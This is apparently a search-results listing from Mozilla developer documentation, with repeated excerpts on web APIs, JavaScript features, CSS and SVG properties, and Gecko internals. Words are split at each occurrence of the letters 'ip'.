ipt(in astring aurl, in boolean aallowdelayedload, [optional] in boolean aruninglobalscope) void removedelayedframescr
ipt(in astring aurl); jsval getdelayedframescr
ipts(); loadframescr
ipt() load a scr
ipt in the remote frame. frame scr
ipts are loaded as soon as loadframescr
ipt() is called. ...
...aruninglobalscope) void removedelayedframescr
ipt(in astring aurl); jsval getdelayedframescr
ipts(); loadframescr
ipt() load a scr
ipt in the remote frame. frame scr
ipts are loaded as soon as loadframescr
ipt() is called. if this function is called on a chromemessagebroadcaster (for example, a global frame message manager or a window message manager) then: loadframescr
ipt() will load the frame scr
ipt independently into each applicable frame: every open frame in the given window for the window message manager, or every frame in every window for the global message manager if aallowdelayedload is true, then the scr
ipt will also be loaded into any applicable new frames opened after the loadframescr
ipt() call. otherwise it will only be loaded into frames that exist a...
...w for the window message manager, or every frame in every window for the global message manager if aallowdelayedload is true, then the scr
ipt will also be loaded into any applicable new frames opened after the loadframescr
ipt() call. otherwise it will only be loaded into frames that exist at the time of the call. if this function is called on a chromemessagesender: it will load the frame scr
ipt only into this chromemessagesender's frame aallowdelayedload should always be true. ...
...And 5 more matches
nsIPrintingPrompt
this service enables embedders to implement their own print and progress dialogs. each platform has a "base" or "backstop" implementation of the service. the service is automatically registered at start up. ...
... this service enables embedders to implement their own print and progress dialogs. each platform has a "base" or "backstop" implementation of the service. the service is automatically registered at start up. ...
... this service enables embedders to implement their own print and progress dialogs. each platform has a "base" or "backstop" implementation of the service. the service is automatically registered at start up. ...
...And 5 more matches
AudioWorkletProcessor.parameterDescriptors (static getter) - Web APIs
the properties of these objects are as follows: name the domstring which represents the name of the audioparam. ...
...the properties of these objects are as follows: name the domstring which represents the name of the audioparam. ...
...the properties of these objects are as follows: name the domstring which represents the name of the audioparam. ...
...And 5 more matches
Manipulating video using canvas - Web APIs
the document content the html document used to render this content is shown below. ...
... the document content the html document used to render this content is shown below. ...
... canvas c1 is used to display the current frame of the original video, while c2 is used to display the video after performing the chroma-keying effect; c2 is preloaded with the still image that will be used to r...
...And 5 more matches
Clipboard - Web APIs
the cl
ipboard interface implements the cl
ipboard api, providing--if the user grants permission--both read and write access to the contents of the system cl
ipboard. the cl
ipboard api can be used to implement cut, copy, and paste features within a web application. the system cl
ipboard is exposed through the global navigator.cl
ipboard property. calls to the methods of the cl
ipboard object will not succeed if the user hasn't granted the needed permissions using the permissions api and the "cl
ipboard-read" or "cl
ipboard-write" permission as appropriate. note: in reality, at this time browser requirements for access to the cl
ipboard vary significantly. please see the section cl
ipboard availability for details. ...
...d property. calls to the methods of the cl
ipboard object will not succeed if the user hasn't granted the needed permissions using the permissions api and the "cl
ipboard-read" or "cl
ipboard-write" permission as appropriate. note: in reality, at this time browser requirements for access to the cl
ipboard vary significantly. please see the section cl
ipboard availability for details. all of the cl
ipboard api methods operate asynchronously; they return a promise which is resolved once the cl
ipboard access has been completed. the promise is rejected if cl
ipboard access is denied. ...
...te" permission as appropriate. note: in reality, at this time browser requirements for access to the cl
ipboard vary significantly. please see the section cl
ipboard availability for details. all of the cl
ipboard api methods operate asynchronously; they return a promise which is resolved once the cl
ipboard access has been completed. the promise is rejected if cl
ipboard access is denied. ...
...And 5 more matches
PushManager.getSubscription() - Web APIs
the pushmanager.getsubscr
iption() method of the pushmanager interface retrieves an existing push subscr
iption. it returns a promise that resolves to a pushsubscr
iption object containing details of an existing subscr
iption. if no existing subscr
iption exists, this resolves to a null value. syntax pushmanager.getsubscr
iption().then(function(pushsubscr
iption) { ... } ); parameters none. returns a promise that resolves to a pushsubscr
iption object or null. example this code sn
ippet is taken from a push messaging and notification sample. ...
...scr
iption exists, this resolves to a null value. syntax pushmanager.getsubscr
iption().then(function(pushsubscr
iption) { ... } ); parameters none. returns a promise that resolves to a pushsubscr
iption object or null. example this code sn
ippet is taken from a push messaging and notification sample. (no live demo is available.) // we need the service worker registration to check for a subscr
iption navigator.serviceworker.ready.then(function(serviceworkerregistration) { // do we already have a push message subscr
iption? serviceworkerregistration.pushmanager.getsubscr
iption() .then(function(subscr
iption) { // enable any ui which subscribes / unsubscribes from // push messages. var pushbutton = document.queryselector('.js-push-button'); push...
...ction(serviceworkerregistration) { // do we already have a push message subscr
iption? ...
...And 5 more matches
RTCSessionDescription.sdp - Web APIs
the property rtcsessiondescr
iption.sdp is a read-only domstring containing the sdp which describes the session. ...
... the property rtcsessiondescr
iption.sdp is a read-only domstring containing the sdp which describes the session. ...
... the property rtcsessiondescr
iption.sdp is a read-only domstring containing the sdp which describes the session. ...
...And 5 more matches
ReadableStream.pipeTo() - Web APIs
available options are: preventclose: if this is set to true, the source readablestream closing will no longer cause the destination writablestream to be closed. ...
...available options are: preventclose: if this is set to true, the source readablestream closing will no longer cause the destination writablestream to be closed. ...
...available options are: preventclose: if this is set to true, the source readablestream closing will no longer cause the destination writablestream to be closed. ...
...And 5 more matches
WebGLRenderingContext.generateMipmap() - Web APIs
possible values: gl.texture_2d: a two-dimensional texture. gl.texture_cube_map: a cube-mapped texture. ...
...possible values: gl.texture_2d: a two-dimensional texture. gl.texture_cube_map: a cube-mapped texture. ...
...possible values: gl.texture_2d: a two-dimensional texture. gl.texture_cube_map: a cube-mapped texture. ...
...And 5 more matches
text-decoration-skip - CSS: Cascading Style Sheets
the text-decoration-sk
ip css property sets what parts of an element's content any text decoration affecting the element must sk
ip over. it controls all text decoration lines drawn by the element and also any text decoration lines drawn by its ancestors. note: most other browsers are converging on supporting the simpler text-decoration-sk
ip-ink property. ...
... the text-decoration-sk
ip css property sets what parts of an element's content any text decoration affecting the element must sk
ip over. it controls all text decoration lines drawn by the element and also any text decoration lines drawn by its ancestors. note: most other browsers are converging on supporting the simpler text-decoration-sk
ip-ink property. ...
...s property sets what parts of an element's content any text decoration affecting the element must sk
ip over. it controls all text decoration lines drawn by the element and also any text decoration lines drawn by its ancestors. note: most other browsers are converging on supporting the simpler text-decoration-sk
ip-ink property. ...
...And 5 more matches
Closures - JavaScript
a closure is the combination of a function bundled together (enclosed) with references to its surrounding state (the lexical environment). in other words, a closure gives you access to an outer function's scope from an inner function. in javascr
ipt, closures are created every time a function is created, at function creation time. lexical scoping consider the following example code: function init() { var name = 'mozilla'; // name is a local variable created by init function displayname() { // displayname() is the inner function, a closure alert(name); // use variable declared in the parent function } displayname(); } init(); init() creates a local variable called name and a function called displayname(). the displayname() function is an inner function that is defined inside...
.... at first glance, it might seem unintuitive that this code still works. in some programming languages, the local variables within a function exist for just the duration of that function's execution. once makefunc() finishes executing, you might expect that the name variable would no longer be accessible. however, because the code still works as expected, this is obviously not the case in javascr
ipt. the reason is that functions in javascr
ipt form closures. a closure is the combination of a function and the lexical environment within which that function was declared. this environment consists of any local variables that were in-scope at the time the closure was created. in this case, myfunc is a reference to the instance of the function displayname created when makefunc is run. the instanc...
...that data. this has obvious parallels to object-oriented programming, where objects allow you to associate data (the object's properties) with one or more methods. consequently, you can use a closure anywhere that you might normally use an object with only a single method. situations where you might want to do this are particularly common on the web. much of the code written in front-end javascr
ipt is event-based. you define some behavior, and then attach it to an event that is triggered by the user (such as a click or a keypress). the code is attached as a callback (a single function that is executed in response to the event). for instance, suppose we want to add buttons to a page to adjust the text size. one way of doing this is to specify the font-size of the body element (in pixels), ...
...And 5 more matches
SyntaxError: missing ) after argument list - JavaScript
in that case, it should be terminated by a closing parenthesis. ...
...a typo, a missing operator, or an unescaped string. message syntaxerror: expected ')' (edge) syntaxerror: missing ) after argument list (firefox) error type syntaxerror. what went wrong? there is an error with how a function is called. this might be a typo, a missing operator, or an unescaped string, for example. ...
...catenate the string, javascr
ipt expects the argument for the log function to be just "pi: ". in that case, it should be terminated by a closing parenthesis. console.log('pi: ' math.pi); // syntaxerror: missing ) after argument list you can correct the log call by adding the "+" operator: console.log('pi: ' + math.pi); // "pi: 3.141592653589793" unterminated strings console.log('"java" + "scr
ipt" = \"' + 'java' + 'scr
ipt\"); // syntaxerror: missing ) after argument list here javascr
ipt thinks that you meant to have ); inside the string and ignores it, and it ends up not knowing that you meant the ); to end the function console.log. ...
...And 5 more matches
Proxy - JavaScript
the proxy object enables you to create a proxy for another object, which can intercept and redefine fundamental operations for that object. descr
iption a proxy is created with two parameters: target: the original object which you want to proxy handler: an object that defines which operations will be intercepted and how to redefine intercepted operations. for example, this code defines a simple target with just two properties, and an even simpler handler with no properties: const target = { message1: "hello", message2: "everyone" }; const handler1 = {}; const proxy1 = new proxy(target, handler1); because the handler is empty, this proxy behaves just like the original target: console.log(proxy1.message1); // hello console.log(proxy1.message2); // everyone to customise the ...
... when the property name is not in the object. it is using the get handler. const handler = { get: function(obj, prop) { return prop in obj ? obj[prop] : 37; } }; const p = new proxy({}, handler); p.a = 1; p.b = undefined; console.log(p.a, p.b); // 1, undefined console.log('c' in p, p.c); // false, 37 no-op forwarding proxy in this example, we are using a native javascr
ipt object to which our proxy will forward all operations that are applied to it. const target = {}; const p = new proxy(target, {}); p.a = 37; // operation forwarded to the target console.log(target.a); // 37 // (the operation has been properly forwarded!) note that while this "no-op" works for javascr
ipt objects, it does not work for native browser objects like dom elements. validation w...
...turn true; } }; const person = new proxy({}, validator); person.age = 100; console.log(person.age); // 100 person.age = 'young'; // throws an exception person.age = 300; // throws an exception extending constructor a function proxy could easily extend a constructor with a new constructor. this example uses the construct and apply handlers. ...
...And 5 more matches
switch - JavaScript
against each case clause. case valuen optional a case clause used to match against expression. if the expression matches the specified valuen, the statements inside the case clause are executed until either the end of the switch statement or a break. default optional a default clause; if provided, this clause is executed if the value of expression doesn't match any of the case clauses. ...
...d, this clause is executed if the value of expression doesn't match any of the case clauses. descr
iption a switch statement first evaluates its expression. it then looks for the first case clause whose expression evaluates to the same value as the result of the input expression (using the strict comparison, ===) and transfers control to that clause, executing the associated statements. (if mult
iple cases match the provided value, the first case that matches is selected, even if the cases are not equal to each other.) if no matching case clause is found, the program looks for the optional default clause, and if found, transfers control to that clause, executing the associated statements. if no default clause is found, the program continues execution at the statement following the end of s...
... see example here: var foo = 0; switch (foo) { case -1: console.log('negative 1'); break; case 0: // foo is 0 so criteria met here so this block will run console.log(0); // note: the forgotten break would have been here case 1: // no break statement in 'ca...
...And 5 more matches
clip-rule - SVG: Scalable Vector Graphics
<< svg attribute reference home the cl
ip-rule attribute only applies to graphics elements that are contained within a <cl
ippath> element. the cl
ip-rule attribute basically works as the fill-rule attribute, except that it applies to <cl
ippath> definitions. the following fragment of code will cause an evenodd cl
ipping rule to be applied to the cl
ipping path because cl
ip-rule is specified on the <path> element that defines the cl
ipping shape: <g> <cl
ippath id="mycl
ip"> <path d="..." cl
ip-rule="evenodd" /> </cl
ippath> <rect cl
ip-path="url(#mycl
ip)" ... ...
.... the following fragment of code will cause an evenodd cl
ipping rule to be applied to the cl
ipping path because cl
ip-rule is specified on the <path> element that defines the cl
ipping shape: <g> <cl
ippath id="mycl
ip"> <path d="..." cl
ip-rule="evenodd" /> </cl
ippath> <rect cl
ip-path="url(#mycl
ip)" ... /> </g> whereas the following fragment of code will not cause an evenodd cl
ipping rule to be applied because the cl
ip-rule is specified on the referencing element, not on the object defining the cl
ipping shape: <g> <cl
ippath id="mycl
ip"> <path d="..." /> </cl
ippath> <rect cl
ip-path="url(#mycl
ip)" cl
ip-rule="evenodd" ... /> </g> as a presentation attribute, it also can be used as a property directly inside a css stylesheet usage context cat...
... /> </cl
ippath> <rect cl
ip-path="url(#mycl
ip)" cl
ip-rule="evenodd" ... /> </g> as a presentation attribute, it also can be used as a property directly inside a css stylesheet usage context categories presentation attribute value nonzero | evenodd | inherit animatable yes normative document svg 1.1 (2nd edition) nonzero see descr
iption of fill-rule property. evenodd see descr
iption of fill-rule property. ...
...And 5 more matches
JavaScript timers - Archive of obsolete content
the setinterval() function is commonly used to set a delay for functions that are executed again and again, such as animations. the setimmediate() function can be used instead of the settimeout(fn, 0) method to execute heavy operations in ie. ...
...d again, such as animations. the setimmediate() function can be used instead of the settimeout(fn, 0) method to execute heavy operations in ie. the requestanimationframe() function tells the browser that you wish to perform an animation and requests that the browser schedule a repaint of the window for the next animation frame. documentation settimeout() calls a function or executes a code sn
ippet after specified delay. setinterval() calls a function or executes a code sn
ippet repeatedly, with a fixed time delay between each call to that function. setimmediate() calls a function immediately after the browser has completed other operations, such as events and display updates. cleartimeout() clears the delay set by settimeout(). clearinterval() cancels repeated action which was se...
...ch call to that function. setimmediate() calls a function immediately after the browser has completed other operations, such as events and display updates. cleartimeout() clears the delay set by settimeout(). clearinterval() cancels repeated action which was set up using setinterval(). clearimmediate() cancels the immediate actions, just like cleartimeout() for settimeout(). ...
...And 4 more matches
Exception logging in JavaScript - Archive of obsolete content
these might be perfectly normal circumstances, but the exceptions were dutifully logged nonetheless. ...
...these might be perfectly normal circumstances, but the exceptions were dutifully logged nonetheless. ...
...these might be perfectly normal circumstances, but the exceptions were dutifully logged nonetheless. ...
...And 4 more matches
NP_GetMIMEDescription - Archive of obsolete content
np_getmimedescr
iption returns a supported mime type list for your plugin. it works on unix (linux) and macos. on windows you have to define supported mimetypes in the dll resource file. each mime type descr
iption should be separated by a semicolon (;). each mime type descr
iption contains the mime type, an extensions list and a short descr
iption. ...
... macos. on windows you have to define supported mimetypes in the dll resource file. each mime type descr
iption should be separated by a semicolon (;). each mime type descr
iption contains the mime type, an extensions list and a short descr
iption. ...
... descr
iption should be separated by a semicolon (;). each mime type descr
iption contains the mime type, an extensions list and a short descr
iption. one mime type // example inside http://mxr.mozilla.org/mozilla-central/source/modules/plugin/sdk/samples/basic/unix/plugin.cpp #define mime_type_descr
iption "application/basic-plugin:bsp:basic example plug-in for mozilla" const char* np_getmimedescr
iption(void) { return(mime_types_descr
iption); } two mime types const char* np_getmimedescr
iption(void) { return "application/basic-example-plugin:xmp1:example 1;application/basic-example2-plugin:xmp2, xm2p:example 2"; } gnome integration if you use gnome vfs (gnome-vfs-2.0), you can get the mime type descr
iption with a function. #include <libgnomevfs/gnome-vfs-mime-handlers.h> #include <li...
...And 4 more matches
New in JavaScript 1.8.5 - Archive of obsolete content
the following is a changelog for javascr
ipt 1.8.5. this version was included in firefox 4. new features in javascr
ipt 1.8.5 new functions function descr
iption object.create() creates a new object with the specified prototype object and properties. bug 492840 object.defineproperty() adds the named property described by a given descr
iptor to an object. object.defineproperties() adds the named properties described by the given descr
iptors to an object. ...
...bug 505587 object.keys() returns an array of all enumerable properties on an object. ...
...bug 505587 object.keys() returns an array of all enumerable properties on an object. ...
...And 4 more matches
ECMAScript 5 support in Mozilla - Archive of obsolete content
string.trim() method, which trims whitespace from both ends of the string. ...
... string.trim() method, which trims whitespace from both ends of the string. ...
... string.trim() method, which trims whitespace from both ends of the string. ...
...And 4 more matches
Frame script environment
may be null (see below) docshell the nsidocshell associated with the browser. addeventlistener() listen to events from content. removeeventlistener() stop listening to events from content. addmessagelistener() listen to messages from chrome. removemessagelistener() stop listening to messages from chrome. sendasyncmessage() send an asynchronous message to chrome. sendsyncmessage() send a synchronous message to chrome. dump() print a message to the console. atob() base64 decode. ...
...r() stop listening to messages from chrome. sendasyncmessage() send an asynchronous message to chrome. sendsyncmessage() send a synchronous message to chrome. dump() print a message to the console. atob() base64 decode. btoa() base64 encode. components the usual components object. in particular, note that a frame scr
ipt accesses the dom window using content, not window: // frame scr
ipt var links = content.document.getelementsbytagname("a"); all the frame scr
ipts running in a tab share this global. however, any top-level variables defined by a scr
ipt are not stored on the global: instead, top-level variables are stored in a special per-scr
ipt object that delegates to the per-tab global. this means you don't ha...
...tsbytagname("a"); all the frame scr
ipts running in a tab share this global. however, any top-level variables defined by a scr
ipt are not stored on the global: instead, top-level variables are stored in a special per-scr
ipt object that delegates to the per-tab global. this means you don't have to worry about global variables you define conflicting with global variables defined by another frame scr
ipt. you can still access the global directly via this. frame scr
ipts run with system princ
ipals. if you want other princ
ipals, you can use a sandbox. frame scr
ipts run with system privileges and have access to the components object, enabling them to use xpcom objects and jsms. however, some apis that work in the chrome process will not work in a frame scr
ipt. ...
...And 4 more matches
Limitations of frame scripts
security restrictions on file access processes that host remote content are isolated from the local system through a content security sandbox. one of the functions of the sandbox is to restrict access to the local file system by processes that host remote content. ...
... security restrictions on file access processes that host remote content are isolated from the local system through a content security sandbox. one of the functions of the sandbox is to restrict access to the local file system by processes that host remote content. ...
...m to use xpcom objects and jsms. many privileged apis will just work in a content process. anything that just man
ipulates data structures will just work. xhr and workers will work. however, some apis that work in the chrome process will not work in a frame scr
ipt. this article lists the most important of these apis. this is one of a pair of articles: the other one lists limitations of chrome scr
ipts. security restrictions on file access processes that host remote content are isolated from the local system through a content security sandbox. one of the functions of the sandbox is to restrict access to the local file system by processes that host remote content. ...
...And 4 more matches
JS_NewScriptObject
obsolete since jsapi 8this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. return the javascr
ipt scr
ipt object that wraps a compiled scr
ipt. the compiled scr
ipt and its parts live until the scr
ipt object is garbage collected. syntax jsobject * js_newscr
iptobject(jscontext *cx, jsscr
ipt *scr
ipt); name type descr
iption cx jscontext * the context in which to create the new scr
ipt object. requires request. ...
...ed scr
ipt. the compiled scr
ipt and its parts live until the scr
ipt object is garbage collected. syntax jsobject * js_newscr
iptobject(jscontext *cx, jsscr
ipt *scr
ipt); name type descr
iption cx jscontext * the context in which to create the new scr
ipt object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. scr
ipt jsscr
ipt * the compiled scr
ipt for which to create a new scr
ipt object. descr
iption js_newscr
iptobject returns the scr
ipt object associated with the given jsscr
ipt. every jsscr
ipt object has an associated jsobject scr
ipt object. ...
...ate the new scr
ipt object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. scr
ipt jsscr
ipt * the compiled scr
ipt for which to create a new scr
ipt object. descr
iption js_newscr
iptobject returns the scr
ipt object associated with the given jsscr
ipt. every jsscr
ipt object has an associated jsobject scr
ipt object. as long as the scr
ipt object is reachable, the jsscr
ipt and its components are protected from garbage collection; when the scr
ipt object is collected, the jsscr
ipt and its contents are freed. once you have created a scr
ipt, you should immediately ensure that its scr
ipt object is reachable (perhaps by using js_addroot or js_enterlocalrootscope). ...
...And 4 more matches
SpiderMonkey: The Mozilla JavaScript runtime
spidermonkey is mozilla's javascr
ipt engine written in c and c++. it is used in various mozilla products, including firefox, and is available under the mpl2. standalone source code releases can be found on the releases page. guides building spidermonkey build documentation how to get spidermonkey source code, build it, and run the test suite. using spidermonkey introduction to the javascr
ipt shell documentation of the command-line javascr
ipt shell, js. jsapi user guide this guide provides an overview of spidermonkey and describes how you can embed engine calls in your applications to make them javascr
ipt-aware. jsapi cookbook shows the jsapi translation of some commonly used javascr
ipt expressions and statements. gc rooting guide guide on how to write code compatible ...
..., js. jsapi user guide this guide provides an overview of spidermonkey and describes how you can embed engine calls in your applications to make them javascr
ipt-aware. jsapi cookbook shows the jsapi translation of some commonly used javascr
ipt expressions and statements. gc rooting guide guide on how to write code compatible with the generational gc in spidermonkey. how to embed the javascr
ipt engine an older tutorial about embedding spidermonkey. hacking on spidermonkey new to spidermonkey a guide to hacking on spidermonkey. setting up cdt to work on spidermonkey how to configure ecl
ipse to work on the spidermonkey code. running automated javascr
ipt tests how to run the javascr
ipt test suites. creating javascr
ipt tests how to add tests to the javascr
ipt test suites. ...
... spidermonkey internals a design overview and a file-by-file walkthrough of the implementation. ...
...And 4 more matches
nsICacheEntryDescriptor
netwerk/cache/nsicacheentrydescr
iptor.idlscr
iptable this interface provides a cache entry descr
iptor. ...
...read only. cacheelement nsisupports get or set the cache data element. this will fail if the cache entry is stream based. the cache entry holds a strong reference to this object. the object will be relea...
...g offset); nsioutputstream openoutputstream(in unsigned long offset); void setdatasize(in unsigned long size); void setexpirationtime(in pruint32 expirationtime); void setmetadataelement(in string key, in string value); void visitmetadata(in nsicachemetadatavisitor visitor); attributes attribute type descr
iption accessgranted nscacheaccessmode get the access granted to this descr
iptor. see nsicache for the definitions of the access modes and a thorough descr
iption of their corresponding meanings. read only. cacheelement nsisupports get or set the cache data element. this will fail if the cache entry is stream based. the cache entry holds a strong reference to this object. the object will be released when the cache entry is destroyed. file nsifile get the disk file assoc...
...And 4 more matches
nsIPermission
read only. expiretime print64 the expiration time of the permission measured in milliseconds since 1970 jan 1 0:00:00. read only. ...
...read only. expiretime print64 the expiration time of the permission measured in milliseconds since 1970 jan 1 0:00:00. read only. ...
...read only. expiretime print64 the expiration time of the permission measured in milliseconds since 1970 jan 1 0:00:00. read only. ...
...And 4 more matches
nsIPrefService
modules/libpref/public/ns
iprefservice.idlscr
iptable this interface is the main entry point into the back end preferences management library. the preference service is directly responsible for the management of the preferences files and also facilitates access to the preference branch object which allows the direct man
ipulation of the preferences themselves. ...
...le this interface is the main entry point into the back end preferences management library. the preference service is directly responsible for the management of the preferences files and also facilitates access to the preference branch object which allows the direct man
ipulation of the preferences themselves. inherits from: nsisupports last changed in gecko 1.7 method overview ns
iprefbranch getbranch(in string aprefroot); ns
iprefbranch getdefaultbranch(in string aprefroot); void readuserprefs(in nsifile afile); void resetprefs(); void resetuserprefs(); void savepreffile(in nsifile afile); methods getbranch() call to get a preferences "branch" which accesses user preference data. using a set method on this object will alw...
...d resetprefs(); void resetuserprefs(); void savepreffile(in nsifile afile); methods getbranch() call to get a preferences "branch" which accesses user preference data. using a set method on this object will always create or set a user preference value. when using a get method a user set value will be returned if one exists, otherwise a default value will be returned. ns
iprefbranch getbranch( in string aprefroot ); parameters aprefroot the preference root tree on which to base this branch. for example, if the root browser.startup. is used, the branch will be able to easily access the preferences browser.startup.page, browser.startup.homepage, and browser.startup.homepage_override by simply requesting page, homepage, or homepage_override. nsnull or "" (empty...
...And 4 more matches
nsIProtocolProxyFilter
netwerk/base/public/ns
iprotocolproxyfilter.idlscr
iptable this interface is used to apply filters to the proxies selected for a given uri. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) this interface is used to apply filters to the proxies selected for a given uri. use ns
iprotocolproxyservice.registerfilter() to hook up instances of this interface. method overview ns
iproxyinfo applyfilter(in ns
iprotocolproxyservice aproxyservice, in nsiuri auri, in ns
iproxyinfo aproxy); methods applyfilter() this method is called to apply proxy filter rules for the given uri and proxy object (or list of proxy objects). ...
...this is passed so that implementations may easily access methods such as newproxyinfo. auri the uri for which these proxy settings apply. ...
...this is passed so that implementations may easily access methods such as newproxyinfo. auri the uri for which these proxy settings apply. ...
...And 4 more matches
nsIPushMessage
this interface resembles pushmessagedata from the push api. method overview domstring text(); jsval json(); void binary([optional] out uint32_t datalen, [array, retval, size_is(datalen)] out uint8_t data); methods text() extracts the message data as a utf-8 text string. domstring text(); parameters none. json() parses the message data as json. jsval json(); parameters none. binary() extracts the message data as a byte array. ...
...arameters none. json() parses the message data as json. jsval json(); parameters none. binary() extracts the message data as a byte array. ...
...rs none. json() parses the message data as json. jsval json(); parameters none. binary() extracts the message data as a byte array. ...
...And 4 more matches
AudioContext.createJavaScriptNode() - Web APIs
it controls the frequency of callbacks asking for a buffer refill. smaller sizes allow for lower latency and higher for better overall quality. numinputchannels the number of input channels in the audio stream. ...
...it controls the frequency of callbacks asking for a buffer refill. smaller sizes allow for lower latency and higher for better overall quality. numinputchannels the number of input channels in the audio stream. ...
...it controls the frequency of callbacks asking for a buffer refill. smaller sizes allow for lower latency and higher for better overall quality. numinputchannels the number of input channels in the audio stream. ...
...And 4 more matches
ClipboardEvent - Web APIs
working draft initial definition. ...
... working draft initial definition. ...
... working draft initial definition. ...
...And 4 more matches
MSManipulationEvent - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. msman
ipulationevent provides contextual information when contact is made to the screen and an element is man
ipulated. this proprietary method is specific to internet explorer. ...
...s track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. msman
ipulationevent provides contextual information when contact is made to the screen and an element is man
ipulated. this proprietary method is specific to internet explorer. events msman
ipulationstatechanged: event fires when the state of an element being man
ipulated has changed. methods msman
ipulationevent.initmsman
ipulationevent(): used to create a man
ipulation event that can be called from javascr
ipt. properties property descr
iption currentstateread only returns the current state of a man
ipulation event. inertiadestinationxread only ...
... currentstateread only returns the current state of a man
ipulation event. inertiadestinationxread only represents the predicted horizontal scroll offset after the inertia phase completes. inertiadestinationyread only represents the predicted vertical scroll offset after the inertia phase completes. laststateread only returns the last state after a man
ipulation change event. ...
...And 4 more matches
mask-clip - CSS: Cascading Style Sheets
the mask-cl
ip css property determines the area which is affected by a mask. the painted content of an element must be restricted to this area. /* <geometry-box> values */ mask-cl
ip: content-box; mask-cl
ip: padding-box; mask-cl
ip: border-box; mask-cl
ip: margin-box; mask-cl
ip: fill-box; mask-cl
ip: stroke-box; mask-cl
ip: view-box; /* keyword values */ mask-cl
ip: no-cl
ip; /* non-standard keyword values */ -webkit-mask-cl
ip: border; -webkit-mask-cl
ip: padding; -webkit-mask-cl
ip: content; -webkit-mask-cl
ip: text; /* mult
iple values */ mask-cl
ip: padding-box, no-cl
ip; mask-cl
ip: view-box, fill-box, border-box; /* global values */ mask-cl
ip: inherit; mask-cl
ip: initial; mask-cl
ip: unset; syntax one or more of the keyword values listed below, separated by commas. values content-box the...
...
ip: border; -webkit-mask-cl
ip: padding; -webkit-mask-cl
ip: content; -webkit-mask-cl
ip: text; /* mult
iple values */ mask-cl
ip: padding-box, no-cl
ip; mask-cl
ip: view-box, fill-box, border-box; /* global values */ mask-cl
ip: inherit; mask-cl
ip: initial; mask-cl
ip: unset; syntax one or more of the keyword values listed below, separated by commas. values content-box the painted content is cl
ipped to the content box. padding-box the painted content is cl
ipped to the padding box. border-box the painted content is cl
ipped to the border box. margin-box the painted content is cl
ipped to the margin box. fill-box the painted content is cl
ipped to the object bounding box. stroke-box the painted content is cl
ipped to the stroke bounding box. view-box uses the nearest svg viewport as...
...ntent is cl
ipped to the stroke bounding box. view-box uses the nearest svg viewport as reference box. if a viewbox attribute is specified for the element creating the svg viewport, the reference box is positioned at the origin of the coordinate system established by the viewbox attribute and the dimension of the reference box is set to the width and height values of the viewbox attribute. no-cl
ip the painted content is not cl
ipped. border this keyword behaves the same as border-box. padding this keyword behaves the same as padding-box. content this keyword behaves the same as content-box. text this keyword cl
ips the mask image to the text of the element. formal definition initial valueborder-boxapplies toall elements; in svg, it applies to container elements excluding the ...
...And 4 more matches
Text formatting - JavaScript
it is a set of "elements" of 16-bit unsigned integer values (utf-16 code units). each element in the string occupies a position in the string. the first element is at index 0, the next at index 1, and so on. the length of a string is the number of elements in it. you can create strings using string literals or string objects. caution: if you edit this page, do not include any characters above u+ffff, until mdn bug 857438 is fixed ( https://bugzilla.mozilla.org/show_bug.cgi?id=857438 ). ...
...ings using either single or double quotes: 'foo' "bar" more advanced strings can be created using escape sequences: hexadecimal escape sequences the number after \x is interpreted as a hexadecimal number. '\xa9' // "(c)" unicode escape sequences the unicode escape sequences require at least four hexadecimal digits following \u. '\u00a9' // "(c)" unicode code point escapes new in ecmascr
ipt 2015. with unicode code point escapes, any character can be escaped using hexadecimal numbers so that it is possible to use unicode code points up to 0x10ffff. with simple unicode escapes it is often necessary to write the surrogate halves separately to achieve the same result. see also string.fromcodepoint() or string.prototype.codepointat(). '\u{2f804}' // the same with simple unicode escap...
...e.codepointat(). '\u{2f804}' // the same with simple unicode escapes '\ud87e\udc04' string objects the string object is a wrapper around the string primitive data type. const foo = new string('foo'); // creates a string object console.log(foo); // displays: [string: 'foo'] typeof foo; // returns 'object' you can call any of the methods of the string object on a string literal value--javascr
ipt automatically converts the string literal to a temporary string object, calls the method, then discards the temporary string object. you can also use the string.length property with a string literal. you should use string literals unless you specifically need to use a string object, because string objects can have counterintuitive behavior. for example: const firststring = '2 + 2'; // creates ...
...And 4 more matches
Using Promises - JavaScript
for: const promise = createaudiofileasync(audiosettings); promise.then(successcallback, failurecallback); we call this an asynchronous function call. this convention has several advantages. we will explore each one. guarantees unlike old-fashioned passed-in callbacks, a promise comes with some guarantees: callbacks will never be called before the completion of the current run of the javascr
ipt event loop. callbacks added with then(), as above, will be called even after the success or failure of the asynchronous operation. mult
iple callbacks may be added by calling then() several times. each callback is executed one after another, in the order in which they were inserted. one of the great things about using promises is chaining. chaining a common need is to execute two or more as...
.... this is very much modeled after how synchronous code works: try { const result = syncdosomething(); const newresult = syncdosomethingelse(result); const finalresult = syncdothirdthing(newresult); console.log(`got the final result: ${finalresult}`); } catch(error) { failurecallback(error); } this symmetry with asynchronous code culminates in the async/await syntactic sugar in ecmascr
ipt 2017: async function foo() { try { const result = await dosomething(); const newresult = await dosomethingelse(result); const finalresult = await dothirdthing(newresult); console.log(`got the final result: ${finalresult}`); } catch(error) { failurecallback(error); } } it builds on promises, e.g. dosomething() is the same function as before. you can read more about th...
...that default action usually involves logging the error to console, and this is indeed the case for node. ideally, of course, you should examine the rejected promises to make sure none of them are actual code bugs before just discarding these events. creating a promise around an old callback api a promise can be created ...
...And 4 more matches
Deprecated and obsolete features - JavaScript
warning: using these properties can result in problems, since browser extensions can modify them. avoid them! $_ see input. $* see multiline. ...
...ete (that is, no longer usable). deprecated features these deprecated features can still be used, but should be used with caution because they are expected to be removed entirely sometime in the future. you should work to remove their use from your code. regexp properties the following properties are deprecated. this does not affect their use in replacement strings: property descr
iption $1-$9 parenthesized substring matches, if any. warning: using these properties can result in problems, since browser extensions can modify them. avoid them! $_ see input. $* see multiline. $& see lastmatch. $+ see lastparen. $` see leftcontext. $' see rightcontext. input the string ag...
...ion is matched. lastmatch the last matched characters. lastparen the last parenthesized substring match, if any. leftcontext the substring preceding the most recent match. rightcontext the substring following the most recent match. the following are now properties of regexp instances, no longer of the regexp object: property descr
